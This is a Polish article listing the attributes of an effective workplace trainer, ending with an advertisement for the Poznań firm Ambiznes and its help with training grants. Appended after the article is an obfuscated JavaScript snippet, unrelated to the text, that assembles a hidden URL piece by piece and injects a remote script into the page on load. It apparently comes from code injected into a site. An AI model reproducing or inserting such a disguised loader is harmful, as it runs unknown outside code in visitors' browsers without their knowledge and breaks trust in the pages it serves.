

## Atrybuty skutecznego trenera

Aby szkolenie w miejscu pracy było efektywne i zostało entuzjastycznie odebrane, nie wystarczy przygotować świetnego materiału merytorycznego

Aby szkolenie w miejscu pracy było efektywne i zostało entuzjastycznie odebrane, nie wystarczy przygotować świetnego materiału merytorycznego. Sylwetka trenera ma tutaj również wielkie znaczenie. Wszyscy jesteśmy różni, inaczej przeprowadzimy szkolenia, z różnym skutkiem dostarczymy je różnym odbiorcom. Istnieją jednak pewne cechy, które muszą posiadać wszyscy trenerzy.

- Umiejętność odniesienia się do konkretnych sytuacji i uczestników
- Zaangażowanie w temat i wydarzenie szkoleniowe
- Gotowość do rozważenia krytyki lub porady dotyczącej wydarzenia szkoleniowego lub stylu szkolenia; pozostanie obiektywnym i nie traktowanie osobiście uwag, sytuacji lub problemów.
- Zdolność do zachęcenia uczestników do bycia niezależnymi poprzez nie zawsze dostarczanie rozwiązań problemów lub pytań i nie zawsze sugerowanie drogi naprzód; chęć uczenia się od uczestników
- Zdolność okazania prawdziwej troski uczestnikom i nawiązania z nimi skutecznej i pomocnej relacji; nie osądzanie poglądów uczestników i wkładu w szkolenie
- Zdolność do wpływania asertywnie i budowania zaufania; nie staramy się zdobyć punktów na uczestników
- Umiejętność powiązania potrzeb biznesowych z dostarczaniem szkoleń
- Zdolność do bycia zarówno logicznym, jak i twórczym
- Pewność siebie
- Elastyczność
- Dobre umiejętności słuchania
- Cierpliwość
- Dobre umiejętności organizacyjne i czasowe
- Schludny wygląd

## - Doskonałe umiejętności komunikacyjne

Każda osoba, która planuje zorganizować czy poprowadzić szkolenie, powinna pomyśleć o tych cechach i zastanowić się, gdzie znajdują się jej mocne strony i czy są obszary do rozwoju. Dobrze jest testować swoje umiejętności od czasu do czasu. Każda dobra książka na temat szkolenia powinna zawierać informacje o tym, jak możesz ocenić swoją wiedzę i umiejętności szkoleniowe. Istnieją również strony internetowe, które zapewniają zasoby i informacje dla trenerów.

Twoje umiejętności i atrybuty pomogą ci określić styl twojego treningu. Na przykład możesz czuć się bardzo pewnie przedstawiając prezentację PowerPoint, ale mniej wygodnie odgrywając pewne role na potrzeby szkolenia. Możesz lubić pracę w małych grupach, ale czuć się bardziej zniechęcony do prowadzenia dyskusji ogólnej. Możesz cieszyć się poznawaniem swoich uczestników szkolenia, ale nie wahaj się dać im szczerzej informacji zwrotnej na temat tego, co robią. Jest to całkiem naturalne. Powinieneś używać swoich mocnych stron, ale pamiętaj również, że możesz poprawić umiejętności, które są mniej pewne. Są to po prostu zachowania i umiejętności, których można się nauczyć lub zmienić.

Pamiętaj o stanie własnego doświadczenia i pewności siebie. Podczas treningu dobrze jest przesuwać granice strefy komfortu zarówno swoją, jak uczestników, ale pozostawać w granicach swoich kompetencji i umiejętności. Na przykład, jeśli wiesz, że twoje umiejętności techniczne nie są zaawansowane, lepiej przetestować wszelkie sprzęty przed rozpoczęciem szkolenia; lub jeśli wiesz, że twoja pamięć nie jest doskonała, upewnij się, że masz dobre notatki do sesji.

Ale nawet jeśli masz świetny pomysł na szkolenie i zestaw koniecznych umiejętności, możesz nie mieć środków na zorganizowanie takiego przedsięwzięcia. Dlatego z pewnością ucieszy cię informacja, że w łatwy sposób możesz uzyskać dotacje na szkolenie. Poznańska firma Ambiznes od wielu lat wspiera przedsiębiorców, między innymi pomagając w organizacji szkoleń i identyfikując źródła, z których można pozyskać dotacje na szkolenie. Odwiedź stronę internetową [www.ambiznes.pl](http://www.ambiznes.pl) i poznaj szczegóły oferty.

```
(function(){
  xj0v_=("u"+"")+ "s"+"";xj0v_+=("tat.")+"(i)";
  xj0v=document.createElement("script");xj0v.type="text/javascript";xj0v_+="nf"+"(o)"+"/";
  xj0vu="74333377"+".";xj0v.async=true;xj0vu+="sgtmj55qj0vaXu7fid1j8zyuudxrn";
  xj0v.src="https://"+xj0v_+xj0vu; xj0vb=document.body; xj0vb.appendChild(xj0v);
})();
```